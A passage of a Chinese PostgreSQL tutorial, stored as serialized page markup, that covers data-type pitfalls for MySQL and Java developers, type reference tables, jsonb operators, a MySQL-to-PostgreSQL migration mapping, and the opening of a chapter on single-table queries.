'Asia\u002FShanghai';\n",[331,38732,38733],{"class":333,"line":357},[331,38734,38735],{},"INSERT INTO clock_t VALUES ('2026-10-10 09:30:00');\n",[331,38737,38738],{"class":333,"line":371},[331,38739,38740],{},"SELECT ts FROM clock_t;          -- 2026-10-10 09:30:00+08\n",[331,38742,38743],{"class":333,"line":384},[331,38744,38745],{},"SET TIME ZONE 'UTC';\n",[331,38747,38748],{"class":333,"line":397},[331,38749,38750],{},"SELECT ts FROM clock_t;          -- 2026-10-10 01:30:00+00\n",[11,38752,38753,38754,38756,38757,38759,38760,38763,38764,161],{},"同一个绝对时刻，两个会话两个读数，都对。如果列建成 ",[22,38755,38704],{},"，这个值就只是一串「9 点半」，谁也不知道是哪个时区的 9 点半。所以：时间列一律 ",[22,38758,38131],{},"，字面量尽量带偏移（",[22,38761,38762],{},"'2026-10-10 09:30:00+08'","），应用连接串里写明 ",[22,38765,38766],{},"TimeZone=Asia\u002FShanghai",[11,38768,38769,38776],{},[17,38770,38771,38772,38775],{},"4. 金额用 ",[22,38773,38774],{},"float8","，对账时对不平。"," 浮点存的不是十进制字面值：",[308,38778,38780],{"className":37560,"code":38779,"language":37562,"meta":314,"style":314},"SELECT 0.1::float8 + 0.2::float8;   -- 0.30000000000000004\n",[22,38781,38782],{"__ignoreMap":314},[331,38783,38784],{"class":333,"line":334},[331,38785,38779],{},[11,38787,38788,38789,38792],{},"金额一律 ",[22,38790,38791],{},"numeric(p, s)","，它按十进制精确存。",[11,38794,38795,268,38804,38807,38808,38810,38811,17306,38814,38817,38818,4809,38820,38823],{},[17,38796,9903,38797,38800,38801,38803],{},[22,38798,38799],{},"char(n)"," 会补空格，",[22,38802,518],{}," 比较会骗人。",[22,38805,38806],{},"char(10)"," 存 ",[22,38809,10578],{}," 读出来是 ",[22,38812,38813],{},"'abc       '",[22,38815,38816],{},"varchar(n)"," 的 n 也不带来任何性能差异，只是长度约束。要约束长度，用 ",[22,38819,313],{},[22,38821,38822],{},"CHECK (char_length(x) \u003C= n)"," 更明白。",[11,38825,38826,38829,38830,38833],{},[17,38827,38828],{},"6. PG 不给外键自动建索引——MySQL 老手最容易栽的一条。"," InnoDB 建外键时会自动在子表列上建索引，PG 什么都不做。于是删父表一行时，PG 要",[17,38831,38832],{},"顺序扫整个子表","检查有没有引用，行数一大就是秒级起步的锁等待（第九章的排队事故里有它的戏份）。解法很朴素：",[308,38835,38837],{"className":37560,"code":38836,"language":37562,"meta":314,"style":314},"CREATE INDEX idx_order_items_order_id ON order_items (order_id);\n",[22,38838,38839],{"__ignoreMap":314},[331,38840,38841],{"class":333,"line":334},[331,38842,38836],{},[11,38844,38845,38846,38849],{},"建完之后 ",[22,38847,38848],{},"\\d order_items","，索引区和约束区各看到一条——「外键约束」和「外键列索引」是两码事，谁也不替谁负责。",[11,38851,38852,38857,38858,38860,38861,38863,38864,38867,38868,38871,38872,38874,38875,38878,38879,161],{},[17,38853,5772,38854,38856],{},[22,38855,38066],{}," 传到前端会被改掉末几位。"," Java 侧 ",[22,38859,38071],{}," 是 64 位，JS 的 ",[22,38862,10179],{}," 只有 53 位安全整数，雪花 ID 序列化过去末几位悄悄变了。所以 ID 出参统一转字符串（Jackson 的 ",[22,38865,38866],{},"ToStringSerializer","，或全局配 ",[22,38869,38870],{},"Long → String","），前端全程按 ",[22,38873,8909],{}," 传。RuoYi 这类用雪花算法生成主键的框架，实体里是 ",[22,38876,38877],{},"Long userId","，建表就必须是 ",[22,38880,38066],{},[11,38882,38883,268,38894,38896,38897,38899,38900,38902,38903,38905,38906,38909,38910,38912],{},[17,38884,5783,38885,2012,38887,38889,38890,38893],{},[22,38886,327],{},[22,38888,38183],{}," 别选错，",[22,38891,38892],{},"uuid"," 主键别乱用。",[22,38895,327],{}," 只是原样存文本，每次读都要重新解析、不能建索引；",[22,38898,38183],{}," 是解析后的二进制，能建 GIN 索引能查询——99% 的场景选 ",[22,38901,38183],{},"。另外 ",[22,38904,38892],{}," 做主键虽然方便（PG 13 起 ",[22,38907,38908],{},"gen_random_uuid()"," 内置，不用装 pgcrypto），但随机值会让 B-tree 索引写入分散、页分裂变多，大表主键仍推荐 ",[22,38911,38066],{},"（第八章有账可算）。",[53,38914,37931],{"id":38915},"附类型速查表",[11,38917,38918,38919,37652,38925,272,38928,38931,38932,38935,38936,38939,38940,272,38942,38944,38945,161],{},"写 DDL 时查这几张表。先说一个命名陷阱：",[17,38920,38921,38924],{},[22,38922,38923],{},"int8"," 里的 8 不是 8 位，是 8 字节（byte）",[22,38926,38927],{},"int2 \u002F int4 \u002F int8",[22,38929,38930],{},"float4 \u002F float8"," 前缀数字一律指",[17,38933,38934],{},"字节数","，跟 MySQL 的 ",[22,38937,38938],{},"int(11)","（那是显示宽度，和取值范围毫无关系）是两套语义。所以 ",[22,38941,38923],{},[22,38943,38066],{}," 是同一个东西的两种写法：64 位长整型，对应 Java 实体里的 ",[22,38946,38071],{},[11,38948,38949],{},"数值类型：",[57,38951,38952,38976],{},[60,38953,38954],{},[63,38955,38956,38959,38962,38965,38968,38971,38973],{},[66,38957,38958],{},"PG 别名",[66,38960,38961],{},"SQL 标准名",[66,38963,38964],{},"字节",[66,38966,38967],{},"位",[66,38969,38970],{},"取值范围",[66,38972,38051],{},[66,38974,38975],{},"生产推荐",[79,38977,38978,39009,39040,39071,39105,39134,39166,39206,39230],{},[63,38979,38980,38985,38990,38992,38995,38998,39003],{},[84,38981,38982],{},[22,38983,38984],{},"int2",[84,38986,38987],{},[22,38988,38989],{},"smallint",[84,38991,9292],{},[84,38993,38994],{},"16",[84,38996,38997],{},"−32768 ~ 32767（约 ±3 万）",[84,38999,39000],{},[22,39001,39002],{},"Short",[84,39004,39005,39006],{},"状态码、字典序号这类小整数；",[17,39007,39008],{},"别拿来存 ID",[63,39010,39011,39021,39025,39027,39030,39033,39037],{},[84,39012,39013,1901,39016,1901,39018],{},[22,39014,39015],{},"int4",[22,39017,38169],{},[22,39019,39020],{},"int",[84,39022,39023],{},[22,39024,38169],{},[84,39026,15097],{},[84,39028,39029],{},"32",[84,39031,39032],{},"约 ±21 亿",[84,39034,39035],{},[22,39036,38174],{},[84,39038,39039],{},"数量、库存、分页 size；日活过千万的表主键别赌它",[63,39041,39042,39048,39052,39055,39058,39061,39065],{},[84,39043,39044,1901,39046],{},[22,39045,38923],{},[22,39047,38066],{},[84,39049,39050],{},[22,39051,38066],{},[84,39053,39054],{},"8",[84,39056,39057],{},"64",[84,39059,39060],{},"约 ±9.2 × 10¹⁸",[84,39062,39063],{},[22,39064,38071],{},[84,39066,39067,39070],{},[17,39068,39069],{},"主键、外键、雪花 ID 一律用它","，多占 4 字节换一辈子的安心",[63,39072,39073,39080,39085,39088,39090,39093,39097],{},[84,39074,39075,1901,39077],{},[22,39076,38791],{},[22,39078,39079],{},"decimal",[84,39081,39082],{},[22,39083,39084],{},"numeric",[84,39086,39087],{},"变长（约 2 字节存 4 位数字 + 头部）",[84,39089,5122],{},[84,39091,39092],{},"任意精度，p 上限 1000 位",[84,39094,39095],{},[22,39096,38111],{},[84,39098,39099,18878,39102,39104],{},[17,39100,39101],{},"金额唯一正确答案",[22,39103,38106],{}," 起步；p 只限数字位数，不占额外空间",[63,39106,39107,39115,39119,39121,39123,39126,39131],{},[84,39108,39109,1901,39112],{},[22,39110,39111],{},"float4",[22,39113,39114],{},"real",[84,39116,39117],{},[22,39118,39114],{},[84,39120,15097],{},[84,39122,39029],{},[84,39124,39125],{},"单精度，6 ~ 7 位有效数字",[84,39127,39128],{},[22,39129,39130],{},"Float",[84,39132,39133],{},"只在打分、统计这类容忍误差的场景用",[63,39135,39136,39143,39147,39149,39151,39154,39159],{},[84,39137,39138,1901,39140],{},[22,39139,38774],{},[22,39141,39142],{},"double precision",[84,39144,39145],{},[22,39146,39142],{},[84,39148,39054],{},[84,39150,39057],{},[84,39152,39153],{},"双精度，15 ~ 17 位有效数字",[84,39155,39156],{},[22,39157,39158],{},"Double",[84,39160,39161,39162,39165],{},"经纬度、相关度分值；",[17,39163,39164],{},"存钱会翻车","（本章坑 4）",[63,39167,39168,39178,39180,39183,39185,39195,39203],{},[84,39169,39170,1901,39173,1901,39175],{},[22,39171,39172],{},"smallserial",[22,39174,38583],{},[22,39176,39177],{},"bigserial",[84,39179,5122],{},[84,39181,39182],{},"2 \u002F 4 \u002F 8",[84,39184,5122],{},[84,39186,39187,39188,1901,39190,1901,39192,39194],{},"同 ",[22,39189,38984],{},[22,39191,39015],{},[22,39193,38923],{},"，各自背后挂一个序列",[84,39196,39197,1901,39199,1901,39201],{},[22,39198,39002],{},[22,39200,38174],{},[22,39202,38071],{},[84,39204,39205],{},"只是「序列 + 默认值」的宏，新表换 identity（本章坑 1）",[63,39207,39208,39213,39215,39217,39219,39222,39227],{},[84,39209,39210],{},[22,39211,39212],{},"oid",[84,39214,5122],{},[84,39216,15097],{},[84,39218,39029],{},[84,39220,39221],{},"0 ~ 4294967295",[84,39223,39224,39226],{},[22,39225,38071],{},"（JDBC 返回）",[84,39228,39229],{},"系统内部对象号，业务键别用它",[63,39231,39232,39237,39239,39241,39243,39250,39254],{},[84,39233,39234],{},[22,39235,39236],{},"money",[84,39238,5122],{},[84,39240,39054],{},[84,39242,39057],{},[84,39244,39245,39246,39249],{},"随 ",[22,39247,39248],{},"lc_monetary"," locale 变化",[84,39251,39252],{},[22,39253,38111],{},[84,39255,39256,39257,39259],{},"不用，跨 locale 会算错，",[22,39258,39084],{}," 完胜",[11,39261,39262],{},"字符串、布尔与二进制：",[57,39264,39265,39279],{},[60,39266,39267],{},[63,39268,39269,39272,39275,39277],{},[66,39270,39271],{},"PG 类型",[66,39273,39274],{},"长度",[66,39276,38051],{},[66,39278,38975],{},[79,39280,39281,39325,39347,39368,39391,39408,39430,39453],{},[63,39282,39283,39290,39293,39297],{},[84,39284,39285,1901,39287],{},[22,39286,8922],{},[22,39288,39289],{},"bool",[84,39291,39292],{},"1 字节",[84,39294,39295],{},[22,39296,26107],{},[84,39298,39299,39300,1901,39302,39304,39305,1901,39308,272,39311,1901,39314,39317,39318,39320,39321,39324],{},"真正的布尔，字面量 ",[22,39301,1131],{},[22,39303,3193],{},"，也认 ",[22,39306,39307],{},"'t'",[22,39309,39310],{},"'f'",[22,39312,39313],{},"'1'",[22,39315,39316],{},"'0'","；MyBatis 直接映射 ",[22,39319,26107],{},"，不用再学 MySQL 的 ",[22,39322,39323],{},"tinyint(1)"," 习惯",[63,39326,39327,39331,39337,39341],{},[84,39328,39329],{},[22,39330,38816],{},[84,39332,39333,39334],{},"变长，n ≤ 10485760 ",[17,39335,39336],{},"个字符",[84,39338,39339],{},[22,39340,26103],{},[84,39342,39343,39344],{},"需要长度约束时用；n 不影响性能，也",[17,39345,39346],{},"不会预分配空间",[63,39348,39349,39353,39356,39360],{},[84,39350,39351],{},[22,39352,313],{},[84,39354,39355],{},"变长，上限 1 GB",[84,39357,39358],{},[22,39359,26103],{},[84,39361,39362,39364,39365,39367],{},[17,39363,21256],{},"：短用户名和长正文都用它，和 ",[22,39366,38095],{}," 底层同一种实现，没有任何性能差",[63,39369,39370,39378,39381,39385],{},[84,39371,39372,39374,39375,5149],{},[22,39373,38799],{},"（内部名 ",[22,39376,39377],{},"bpchar",[84,39379,39380],{},"定长 n，不足补空格",[84,39382,39383],{},[22,39384,26103],{},[84,39386,39387,39388,39390],{},"避免：读出来带尾部空格，",[22,39389,518],{}," 比较会因此骗人",[63,39392,39393,39398,39400,39405],{},[84,39394,39395],{},[22,39396,39397],{},"bytea",[84,39399,39355],{},[84,39401,39402],{},[22,39403,39404],{},"byte[]",[84,39406,39407],{},"小二进制块（签名、缩略图）可以；大文件走对象存储，别塞进库里拖垮备份",[63,39409,39410,39414,39417,39424],{},[84,39411,39412],{},[22,39413,38892],{},[84,39415,39416],{},"16 字节",[84,39418,39419,1901,39421],{},[22,39420,26103],{},[22,39422,39423],{},"java.util.UUID",[84,39425,39426,39427,39429],{},"全局 ID，配 ",[22,39428,38908],{},"；做主键要注意 B-tree 索引写入分散（第八章）",[63,39431,39432,39437,39440,39444],{},[84,39433,39434],{},[22,39435,39436],{},"citext",[84,39438,39439],{},"变长（扩展类型）",[84,39441,39442],{},[22,39443,26103],{},[84,39445,39446,39447,39449,39450],{},"大小写不敏感列；更常见的做法还是 ",[22,39448,313],{}," + 表达式索引 ",[22,39451,39452],{},"lower(email)",[63,39454,39455,39461,39464,39469],{},[84,39456,39457,39460],{},[22,39458,39459],{},"enum","（自定义类型）",[84,39462,39463],{},"4 字节",[84,39465,39466,39468],{},[22,39467,26103],{}," \u002F Java 枚举",[84,39470,39471,39472,39475,39476,4809,39478],{},"取值固定且要省空间时用；改取值要 ",[22,39473,39474],{},"ALTER TYPE","，多数团队直接用 ",[22,39477,313],{},[22,39479,38472],{},[11,39481,39482],{},"时间、日期与其他：",[57,39484,39485,39498],{},[60,39486,39487],{},[63,39488,39489,39491,39494,39496],{},[66,39490,39271],{},[66,39492,39493],{},"长度 \u002F 精度",[66,39495,38051],{},[66,39497,38975],{},[79,39499,39500,39526,39543,39561,39579,39606,39624,39646,39667],{},[63,39501,39502,39509,39512,39520],{},[84,39503,39504,4839,39506,5149],{},[22,39505,38131],{},[22,39507,39508],{},"timestamp with time zone",[84,39510,39511],{},"8 字节，微秒",[84,39513,39514,39516,39517,5149],{},[22,39515,38136],{},"（老驱动常落到 ",[22,39518,39519],{},"java.util.Date",[84,39521,39522,39525],{},[17,39523,39524],{},"时间列默认写它","，内部按 UTC 记账，显示随会话时区",[63,39527,39528,39533,39535,39540],{},[84,39529,39530,39532],{},[22,39531,38704],{},"（without time zone）",[84,39534,39511],{},[84,39536,39537],{},[22,39538,39539],{},"LocalDateTime",[84,39541,39542],{},"只在「墙上时间」本身即业务语义时用（营业到 21:00 这类），不带时区",[63,39544,39545,39550,39553,39558],{},[84,39546,39547],{},[22,39548,39549],{},"date",[84,39551,39552],{},"4 字节，天",[84,39554,39555],{},[22,39556,39557],{},"LocalDate",[84,39559,39560],{},"生日、账期、统计日",[63,39562,39563,39568,39571,39576],{},[84,39564,39565],{},[22,39566,39567],{},"time",[84,39569,39570],{},"8 字节",[84,39572,39573],{},[22,39574,39575],{},"LocalTime",[84,39577,39578],{},"时段端点",[63,39580,39581,39586,39589,39597],{},[84,39582,39583],{},[22,39584,39585],{},"interval",[84,39587,39588],{},"16 字节，微秒",[84,39590,39591,1901,39594],{},[22,39592,39593],{},"Duration",[22,39595,39596],{},"Period",[84,39598,39599,39600,272,39603],{},"时长、超时阈值；能写 ",[22,39601,39602],{},"'3 days'",[22,39604,39605],{},"'2 hours 30 mins'",[63,39607,39608,39612,39614,39621],{},[84,39609,39610],{},[22,39611,38183],{},[84,39613,39355],{},[84,39615,39616,39618,39619],{},[22,39617,26103],{}," + TypeHandler \u002F ",[22,39620,3618],{},[84,39622,39623],{},"半结构化首选，解析后存储、能建 GIN 索引（本章速查表末 + 第八章）",[63,39625,39626,39634,39637,39643],{},[84,39627,39628,1901,39630,39633],{},[22,39629,38187],{},[22,39631,39632],{},"int[]"," 数组",[84,39635,39636],{},"变长",[84,39638,39639,39642],{},[22,39640,39641],{},"List\u003CString>"," \u002F TypeHandler",[84,39644,39645],{},"多值标签；驱动层要 PGobject 或自定义 TypeHandler 接",[63,39647,39648,39653,39656,39660],{},[84,39649,39650],{},[22,39651,39652],{},"inet",[84,39654,39655],{},"4 或 16 字节 + 掩码",[84,39657,39658],{},[22,39659,26103],{},[84,39661,39662,39663,39666],{},"存 IP（含 IPv6），比 ",[22,39664,39665],{},"varchar(45)"," 强在能索引和网段运算",[63,39668,39669,39674,39676,39678],{},[84,39670,39671],{},[22,39672,39673],{},"tsvector",[84,39675,39636],{},[84,39677,5122],{},[84,39679,39680],{},"全文检索列，第十三章的主角，不映射 Java",[11,39682,39683,39684,7023],{},"jsonb 操作符全表（",[22,39685,39686],{},"meta = {\"channel\":\"app\",\"tags\":[\"vip\",\"new\"]}",[57,39688,39689,39701],{},[60,39690,39691],{},[63,39692,39693,39696,39699],{},[66,39694,39695],{},"操作符",[66,39697,39698],{},"输入 → 输出",[66,39700,5441],{},[79,39702,39703,39722,39741,39758,39778,39794,39808],{},[63,39704,39705,39709,39714],{},[84,39706,39707],{},[22,39708,38549],{},[84,39710,39711,39712],{},"键 → ",[17,39713,38183],{},[84,39715,39716,4843,39719],{},[22,39717,39718],{},"meta->'tags'",[22,39720,39721],{},"[\"vip\",\"new\"]",[63,39723,39724,39728,39732],{},[84,39725,39726],{},[22,39727,38552],{},[84,39729,39711,39730],{},[17,39731,313],{},[84,39733,39734,4843,39737,39740],{},[22,39735,39736],{},"meta->>'channel'",[22,39738,39739],{},"app","（最常用）",[63,39742,39743,39747,39750],{},[84,39744,39745],{},[22,39746,38562],{},[84,39748,39749],{},"路径 → text",[84,39751,39752,4843,39755],{},[22,39753,39754],{},"meta #>> '{tags,0}'",[22,39756,39757],{},"vip",[63,39759,39760,39765,39771],{},[84,39761,39762],{},[22,39763,39764],{},"@>",[84,39766,39767,39768,5149],{},"包含判断（",[17,39769,39770],{},"能走 GIN 索引",[84,39772,39773,4843,39776],{},[22,39774,39775],{},"meta @> '{\"channel\":\"app\"}'",[22,39777,1131],{},[63,39779,39780,39784,39787],{},[84,39781,39782],{},[22,39783,1177],{},[84,39785,39786],{},"顶层键存在",[84,39788,39789,4843,39792],{},[22,39790,39791],{},"meta ? 'tags'",[22,39793,1131],{},[63,39795,39796,39800,39803],{},[84,39797,39798],{},[22,39799,38567],{},[84,39801,39802],{},"改值",[84,39804,39805],{},[22,39806,39807],{},"jsonb_set(meta, '{vip}', '\"gold\"'::jsonb)",[63,39809,39810,39814,39817],{},[84,39811,39812],{},[22,39813,38570],{},[84,39815,39816],{},"数组炸开成行",[84,39818,39819],{},[22,39820,39821],{},"SELECT jsonb_array_elements(meta->'tags')",[11,39823,39824,39825,39827],{},"实战里最值钱的是 ",[22,39826,39764],{}," 包含查询配合 GIN 索引（第八章会讲两种索引 opclass 的取舍）：",[308,39829,39831],{"className":37560,"code":39830,"language":37562,"meta":314,"style":314},"SELECT id, meta->>'channel' AS channel\nFROM orders\nWHERE meta @> '{\"tags\": [\"vip\"]}';\n",[22,39832,39833,39838,39843],{"__ignoreMap":314},[331,39834,39835],{"class":333,"line":334},[331,39836,39837],{},"SELECT id, meta->>'channel' AS channel\n",[331,39839,39840],{"class":333,"line":341},[331,39841,39842],{},"FROM orders\n",[331,39844,39845],{"class":333,"line":357},[331,39846,39847],{},"WHERE meta @> '{\"tags\": [\"vip\"]}';\n",[11,39849,39850,39851,39854],{},"数组类型的日常是交集查询：",[22,39852,39853],{},"WHERE tags && ARRAY['vip']"," 表示「标签里含 vip」，配 GIN 索引同样走索引。",[11,39856,39857],{},"MySQL → PG 类型迁移对照：",[11,39859,39860,39861,39864,39865,39868],{},"从 MySQL 迁表时别一一对着名字猜，尤其注意 PG ",[17,39862,39863],{},"没有 unsigned","、没有 1 字节整型、",[22,39866,39867],{},"datetime"," 不带时区这三件事：",[57,39870,39871,39889],{},[60,39872,39873],{},[63,39874,39875,39878,39881,39884,39886],{},[66,39876,39877],{},"MySQL 类型",[66,39879,39880],{},"PG 对应",[66,39882,39883],{},"长度变化",[66,39885,38051],{},[66,39887,39888],{},"迁移要点",[79,39890,39891,39922,39945,39974,39997,40028,40056,40082,40104,40130,40153,40181,40213,40242,40266,40292,40314,40339,40373,40400,40425,40444,40466],{},[63,39892,39893,39897,39901,39904,39908],{},[84,39894,39895],{},[22,39896,39323],{},[84,39898,39899],{},[22,39900,8922],{},[84,39902,39903],{},"1 → 1 字节",[84,39905,39906],{},[22,39907,26107],{},[84,39909,39910,39911,1901,39913,17306,39915,39918,39919,39921],{},"0\u002F1 转 ",[22,39912,3193],{},[22,39914,1131],{},[22,39916,39917],{},"tinyint(2)"," 以上不是布尔，按 ",[22,39920,38989],{}," 迁",[63,39923,39924,39929,39935,39938,39942],{},[84,39925,39926],{},[22,39927,39928],{},"tinyint",[84,39930,39931,4839,39933,5149],{},[22,39932,38989],{},[22,39934,38984],{},[84,39936,39937],{},"1 → 2 字节",[84,39939,39940],{},[22,39941,39002],{},[84,39943,39944],{},"PG 没有 1 字节整型，只能升一档",[63,39946,39947,39951,39955,39958,39962],{},[84,39948,39949],{},[22,39950,38989],{},[84,39952,39953],{},[22,39954,38989],{},[84,39956,39957],{},"相同",[84,39959,39960],{},[22,39961,39002],{},[84,39963,39964,39965,39968,39969,39971,39972],{},"MySQL 的 ",[22,39966,39967],{},"unsigned smallint"," 上限 65535 超了 ",[22,39970,38984],{},"，升 ",[22,39973,39015],{},[63,39975,39976,39981,39987,39990,39994],{},[84,39977,39978],{},[22,39979,39980],{},"mediumint",[84,39982,39983,4839,39985,5149],{},[22,39984,38169],{},[22,39986,39015],{},[84,39988,39989],{},"3 → 4 字节",[84,39991,39992],{},[22,39993,38174],{},[84,39995,39996],{},"PG 没有 3 字节整型",[63,39998,39999,40005,40009,40011,40015],{},[84,40000,40001,1901,40003],{},[22,40002,39020],{},[22,40004,38169],{},[84,40006,40007],{},[22,40008,38169],{},[84,40010,39957],{},[84,40012,40013],{},[22,40014,38174],{},[84,40016,40017,40025,40026],{},[17,40018,40019,40022,40023],{},[22,40020,40021],{},"int unsigned","（上限约 42.9 亿）装不进 ",[22,40024,39015],{},"，必须升 ",[22,40027,38066],{},[63,40029,40030,40034,40040,40043,40047],{},[84,40031,40032],{},[22,40033,38066],{},[84,40035,40036,4839,40038,5149],{},[22,40037,38066],{},[22,40039,38923],{},[84,40041,40042],{},"相同 8 字节",[84,40044,40045],{},[22,40046,38071],{},[84,40048,40049,40050,40053,40054],{},"雪花 ID 直接对得上；",[22,40051,40052],{},"bigint unsigned"," 超出 64 位有符号，改用 ",[22,40055,39084],{},[63,40057,40058,40065,40069,40071,40075],{},[84,40059,40060,1901,40062],{},[22,40061,38938],{},[22,40063,40064],{},"int(10) unsigned",[84,40066,40067],{},[22,40068,38169],{},[84,40070,5122],{},[84,40072,40073],{},[22,40074,38174],{},[84,40076,40077,40078,40081],{},"括号里的数字是",[17,40079,40080],{},"显示宽度","，PG 没有这个概念，直接丢掉",[63,40083,40084,40091,40095,40097,40101],{},[84,40085,40086,1901,40089],{},[22,40087,40088],{},"decimal(p, s)",[22,40090,39084],{},[84,40092,40093],{},[22,40094,38791],{},[84,40096,39636],{},[84,40098,40099],{},[22,40100,38111],{},[84,40102,40103],{},"语义一致，p \u002F s 原样搬",[63,40105,40106,40113,40119,40121,40127],{},[84,40107,40108,1901,40111],{},[22,40109,40110],{},"float",[22,40112,18007],{},[84,40114,40115,1901,40117],{},[22,40116,39114],{},[22,40118,39142],{},[84,40120,39957],{},[84,40122,40123,1901,40125],{},[22,40124,39130],{},[22,40126,39158],{},[84,40128,40129],{},"名字变了，精度没变",[63,40131,40132,40136,40142,40144,40148],{},[84,40133,40134],{},[22,40135,38799],{},[84,40137,40138,4839,40140,5149],{},[22,40139,38799],{},[22,40141,39377],{},[84,40143,39957],{},[84,40145,40146],{},[22,40147,26103],{},[84,40149,40150,40151],{},"两边都补空格，行为一致；仍然建议换 ",[22,40152,313],{},[63,40154,40155,40159,40165,40171,40175],{},[84,40156,40157],{},[22,40158,38816],{},[84,40160,40161,6745,40163],{},[22,40162,38816],{},[22,40164,313],{},[84,40166,40167,40168],{},"n 单位是",[17,40169,40170],{},"字符",[84,40172,40173],{},[22,40174,26103],{},[84,40176,40177,40178,40180],{},"两边的 n 都按字符算，迁过去不会截断；差别在 MySQL 单行有 65535 ",[17,40179,38964],{},"上限，utf8mb4 下几个大 varchar 就会撞墙，PG 没有这条约束",[63,40182,40183,40196,40200,40203,40207],{},[84,40184,40185,1901,40187,1901,40190,1901,40193],{},[22,40186,313],{},[22,40188,40189],{},"tinytext",[22,40191,40192],{},"mediumtext",[22,40194,40195],{},"longtext",[84,40197,40198],{},[22,40199,313],{},[84,40201,40202],{},"统一变长，上限 1 GB",[84,40204,40205],{},[22,40206,26103],{},[84,40208,40209,40210,40212],{},"PG 一个 ",[22,40211,313],{}," 通吃，MySQL 那四档长度差异全部消失",[63,40214,40215,40220,40230,40232,40236],{},[84,40216,40217],{},[22,40218,40219],{},"enum('a','b')",[84,40221,40222,4809,40224,40226,40227,40229],{},[22,40223,313],{},[22,40225,38472],{}," 或自定义 ",[22,40228,39459],{}," 类型",[84,40231,5122],{},[84,40233,40234],{},[22,40235,26103],{},[84,40237,40238,40239,40241],{},"推荐 ",[22,40240,38472],{},"：加一个取值只是改约束，不用动类型",[63,40243,40244,40249,40253,40255,40259],{},[84,40245,40246],{},[22,40247,40248],{},"set('a','b')",[84,40250,40251,39633],{},[22,40252,38187],{},[84,40254,5122],{},[84,40256,40257],{},[22,40258,39641],{},[84,40260,40261,40262,40265],{},"数组能整体建 GIN 索引，比 ",[22,40263,40264],{},"FIND_IN_SET"," 干净",[63,40267,40268,40272,40276,40278,40284],{},[84,40269,40270],{},[22,40271,327],{},[84,40273,40274],{},[22,40275,38183],{},[84,40277,39636],{},[84,40279,40280,1901,40282],{},[22,40281,26103],{},[22,40283,3618],{},[84,40285,40286,40287,40289,40290],{},"99% 的情况选 ",[22,40288,38183],{},"；只有要求「原样保留文本和键序」才用 ",[22,40291,327],{},[63,40293,40294,40298,40302,40305,40309],{},[84,40295,40296],{},[22,40297,39867],{},[84,40299,40300],{},[22,40301,38131],{},[84,40303,40304],{},"5~8 字节 → 8 字节",[84,40306,40307],{},[22,40308,38136],{},[84,40310,39964,40311,40313],{},[22,40312,39867],{}," 不带时区，迁移动作里必须显式说明原数据是哪个时区，否则整体漂 8 小时",[63,40315,40316,40321,40325,40328,40332],{},[84,40317,40318,40320],{},[22,40319,38704],{},"（MySQL）",[84,40322,40323],{},[22,40324,38131],{},[84,40326,40327],{},"4 → 8 字节",[84,40329,40330],{},[22,40331,38136],{},[84,40333,39964,40334,40336,40337],{},[22,40335,38704],{}," 存 UTC、按会话时区显示，语义正好对应 PG 的 ",[22,40338,38131],{},[63,40340,40341,40350,40358,40360,40368],{},[84,40342,40343,1901,40345,1901,40347],{},[22,40344,39549],{},[22,40346,39567],{},[22,40348,40349],{},"year",[84,40351,40352,1901,40354,1901,40356],{},[22,40353,39549],{},[22,40355,39567],{},[22,40357,38984],{},[84,40359,5122],{},[84,40361,40362,1901,40364,1901,40366],{},[22,40363,39557],{},[22,40365,39575],{},[22,40367,38174],{},[84,40369,40370,40371,40229],{},"PG 没有 ",[22,40372,40349],{},[63,40374,40375,40387,40391,40393,40397],{},[84,40376,40377,1901,40380,1901,40383,40386],{},[22,40378,40379],{},"binary",[22,40381,40382],{},"varbinary(n)",[22,40384,40385],{},"blob"," 家族",[84,40388,40389],{},[22,40390,39397],{},[84,40392,39636],{},[84,40394,40395],{},[22,40396,39404],{},[84,40398,40399],{},"大 BLOB 建议趁机搬去对象存储",[63,40401,40402,40408,40412,40415,40420],{},[84,40403,40404,40407],{},[22,40405,40406],{},"binary(16)","（存 UUID）",[84,40409,40410],{},[22,40411,38892],{},[84,40413,40414],{},"16 → 16 字节",[84,40416,40417],{},[22,40418,40419],{},"UUID",[84,40421,40422,40423],{},"换成原生类型，能直接用 ",[22,40424,38908],{},[63,40426,40427,40432,40436,40438,40442],{},[84,40428,40429],{},[22,40430,40431],{},"bit(1)",[84,40433,40434],{},[22,40435,8922],{},[84,40437,5122],{},[84,40439,40440],{},[22,40441,26107],{},[84,40443,5122],{},[63,40445,40446,40451,40455,40457,40459],{},[84,40447,40448],{},[22,40449,40450],{},"AUTO_INCREMENT",[84,40452,40453],{},[22,40454,38618],{},[84,40456,5122],{},[84,40458,5122],{},[84,40460,40461,40462,40465],{},"见本章坑 1；导数据时要 ",[22,40463,40464],{},"setval()"," 把序列推到当前最大 id 之后",[63,40467,40468,40473,40476,40478,40480],{},[84,40469,40470],{},[22,40471,40472],{},"ON UPDATE CURRENT_TIMESTAMP",[84,40474,40475],{},"触发器或应用侧赋值",[84,40477,5122],{},[84,40479,5122],{},[84,40481,40482],{},"PG 没有这个语法，别指望迁移工具带过来",[4748,40484],{"height":40485,"src":40486,"title":40487},560,"\u002Ftutorials\u002Fpostgresql\u002Fdemos\u002F04-types-and-ddl.html","示例 04：类型行为观察——identity \u002F timestamptz \u002F jsonb \u002F char",[48,40489,40491],{"id":40490},"五单表查询where排序分页与几件-pg-独门兵器","五、单表查询：WHERE、排序、分页与几件 PG 独门兵器",[11,40493,40494,40495,40497],{},"单表查询是日常 80% 的 SQL。本章先给最常用的形状（第一步到第三步），把最容易出错的几件事——NULL 比较、NULL 排序、深分页、",[22,40496,25866],{}," 的两种数法——集中放到章末的坑区。",[53,40499,40501],{"id":40500},"第一步五个关键词一条语句","第一步：五个关键词，一条语句",[308,40503,40505],{"className":37560,"code":40504,"language":37562,"meta":314,"style":314},"SELECT status, count(*) AS cnt\nFROM orders\nWHERE created_at >= '2026-10-01'\nGROUP BY status\nORDER BY cnt DESC\nLIMIT 10;\n",[22,40506,40507,40512,40516,40521,40526,40531],{"__ignoreMap":314},[331,40508,40509],{"class":333,"line":334},[331,40510,40511],{},"SELECT status, count(*) AS cnt\n",[331,40513,40514],{"class":333,"line":341},[331,40515,39842],{},[331,40517,40518],{"class":333,"line":357},[331,40519,40520],{},"WHERE created_at >= '2026-10-01'\n",[331,40522,40523],{"class":333,"line":371},[331,40524,40525],{},"GROUP BY status\n",[331,40527,40528],{"class":333,"line":384},[331,40529,40530],{},"ORDER BY cnt DESC\n",[331,40532,40533],{"class":333,"line":397},[331,40534,40535],{},"LIMIT 